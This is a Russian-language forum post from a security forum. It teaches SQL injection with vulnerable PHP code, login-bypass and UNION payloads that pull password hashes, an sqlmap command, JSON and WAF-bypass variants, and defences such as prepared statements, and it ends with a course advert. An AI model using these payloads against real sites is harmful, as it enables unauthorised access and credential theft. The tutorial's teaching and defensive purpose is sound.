HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.05.2025, 12:13
Сергей Попов
Новичок
Регистрация: 14.08.2015
Сообщений: 0
С нами: 5656404

Репутация: 0
По умолчанию



Цитата:

Представьте, что всего одна строка в текстовом поле входа способна обойти всю систему аутентификации и открыть доступ к базе данных сайта. Звучит как кино? Это реальность, и имя ей — SQL Injection.
Введение
SQL Injection — одна из самых опасных и распространённых уязвимостей в веб-приложениях. Несмотря на то, что о ней говорят уже больше 20 лет, до сих пор тысячи сайтов остаются уязвимыми.

В этой статье мы разберём:
  • Как работает SQL-инъекция на примере уязвимого веб-приложения.
  • Практическую эксплуатацию с использованием Python и SQLmap.
  • Как защититься от таких атак.
  • Современные техники обхода WAF и сложные кейсы.
Если вы занимаетесь пентестом или веб-разработкой — этот материал поможет вам глубже понять механизмы атаки и защиты.
Как работает SQL Injection?
SQL-инъекция возникает, когда приложение некорректно обрабатывает пользовательский ввод, позволяя злоумышленнику внедрить произвольный SQL-код.

Пример уязвимого PHP-кода:

PHP:


Код:
$username
=
$_POST
[
'username'
]
;
$password
=
$_POST
[
'password'
]
;
$query
=
"SELECT * FROM users WHERE username='$username' AND password='$password'"
;
$result
=
mysqli_query
(
$conn
,
$query
)
;
Если ввести
Код:
admin' --
в поле
Код:
username
, запрос превратится в:

SQL:


Код:
SELECT
*
FROM
users
WHERE
username
=
'admin'
--' AND password='...'
Комментарий
Код:
--
отключает проверку пароля, и злоумышленник получает доступ к аккаунту администратора.
Эксплуатация SQL-инъекции на практике
Рассмотрим реальный кейс с уязвимым сайтом (используем легальный стенд, например, We;come DVWA - Damn Vulnerable Web Application или OWASP WebGoat | OWASP Foundation).
1. Установка DVWA (для новичков)
  1. Скачайте DVWA с We;come DVWA - Damn Vulnerable Web Application.
  2. Установите XAMPP или LAMP для локального сервера.
  3. Разместите файлы DVWA в папке
    Код:
    htdocs
    (или аналогичной).
  4. Настройте базу данных в
    Код:
    config.inc.php
    .
  5. Запустите сервер и откройте DVWA в браузере.
2. Обнаружение уязвимости
Проверим форму входа на SQL-инъекцию:
  • Вводим
    Код:
    '
    — если появляется ошибка SQL, уязвимость есть.
  • Пробуем
    Код:
    ' OR 1=1 --
    — если авторизация проходит, инъекция подтверждена.
3. Извлечение данных с помощью UNION-атаки
Если приложение выводит результаты запроса, можно использовать UNION для получения данных из других таблиц.

Пример запроса:

SQL:


Код:
'
UNION
SELECT
username
,
password
FROM
users
--
В ответе могут оказаться хэши паролей, которые затем можно взломать через John the Ripper password cracker или hashcat - advanced password recovery.
4. Автоматизация с помощью SQLmap
Для ускорения тестирования используем SQLmap:

Bash:


Код:
sqlmap -u
"http://example.com/login.php"
--data
=
"username=admin&password=123"
--dbs
Объяснение флагов:
  • Код:
    -u
    — URL-адрес цели.
  • Код:
    --data
    — данные POST-запроса.
  • Код:
    --dbs
    — извлечение списка баз данных.
5. Современные техники: SQLi в REST API и обход WAF
SQLi в REST API
Если приложение использует JSON, инъекцию можно внедрить в тело запроса:

JSON:


Код:
{
"username"
:
"admin' OR 1=1 --"
,
"password"
:
"password"
}
Обход WAF
Для обхода WAF можно использовать:
  • Модификацию ключевых слов:

    SQL:


    Код:
    SELSELECTECT
    *
    FROM
    users
    WHERE
    username
    =
    'admin'
  • Каскадные запросы:

    SQL:


    Код:
    '; SELECT * FROM users WHERE '
    1
    '='
    1
Рекомендуемые материалы по SQL Injection на античат
  1. CTF: Решаем SQL Injection задания

    Практический разбор SQLi-задач с использованием SQLmap и ручных техник. Подходит для подготовки к CTF и отработки навыков на легальных стендах.
  2. SQL-injection, Error Based - XPATH

    Разбор инъекций через функции
    Код:
    extractvalue()
    и
    Код:
    updatexml()
    в MySQL, с примерами и объяснением механизмов.
  3. SQL Injection: обсуждение и вопросы

    Форумная тема с обсуждением различных техник SQL-инъекций, включая Boolean-based и обход фильтров, с примерами запросов и советами от участников.
Как защититься от SQL Injection?
  • Используйте подготовленные выражения (Prepared Statements)

    PHP:


    Код:
    $stmt
    =
    $conn
    -
    >
    prepare
    (
    "SELECT * FROM users WHERE username=? AND password=?"
    )
    ;
    $stmt
    -
    >
    bind_param
    (
    "ss"
    ,
    $username
    ,
    $password
    )
    ;
    $stmt
    -
    >
    execute
    (
    )
    ;
  • Применяйте ORM (например, SQLAlchemy, Django ORM)

    ORM автоматически экранируют запросы, предотвращая инъекции.
  • Ограничивайте права БД

    У приложения не должно быть прав на
    Код:
    DROP TABLE
    или
    Код:
    UNION SELECT
    .
  • Используйте WAF (например, ModSecurity)

    WAF помогает блокировать известные шаблоны атак.
  • Проверяйте ввод данных

    Используйте whitelisting (разрешение только ожидаемых значений).
SQL Injection остаётся серьёзной угрозой, но её можно избежать, следуя best practices. Если вы тестируете свои приложения — обязательно проверяйте их на уязвимости, а если разрабатываете — всегда используйте параметризованные запросы.

FAQ

Как тестировать SQLi легально?
Только на своих приложениях или через bug bounty (например, на HackerOne).

Какие ещё есть виды SQL-инъекций?
Слепые (Blind SQLi), основанные на времени (Time-Based) и ошибках (Error-Based).

Как обнаружить слепую SQLi?
Через условные ошибки или задержки ответа (например,
Код:
SLEEP(5)
).

Какие ORM лучше защищают от SQLi?
Django ORM, SQLAlchemy и Hibernate автоматически экранируют запросы.

Можно ли защититься только с помощью WAF?
Нет, WAF помогает, но не заменяет безопасный код.

Цитата:

Хотите глубже разобрать техники SQL-инъекций и научиться использовать их профессионально?

На курсе «SQL Injection: от сканирования до эксплуатации» от античат вы:

Освоите 20+ техник SQLi (Classic, Blind, Time-based, Error-based, Out-of-Band)

Научитесь автоматизировать атаки с SQLmap и писать свои payload’ы

Получите практику на легальных стендах и CTF-задачах

Разберёте методы обхода WAF и эксплуатации SQLi в API

Старт ближайшего потока — 23 июня.

Попробуйте повторить атаку на DVWA и поделитесь результатами в комментариях!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.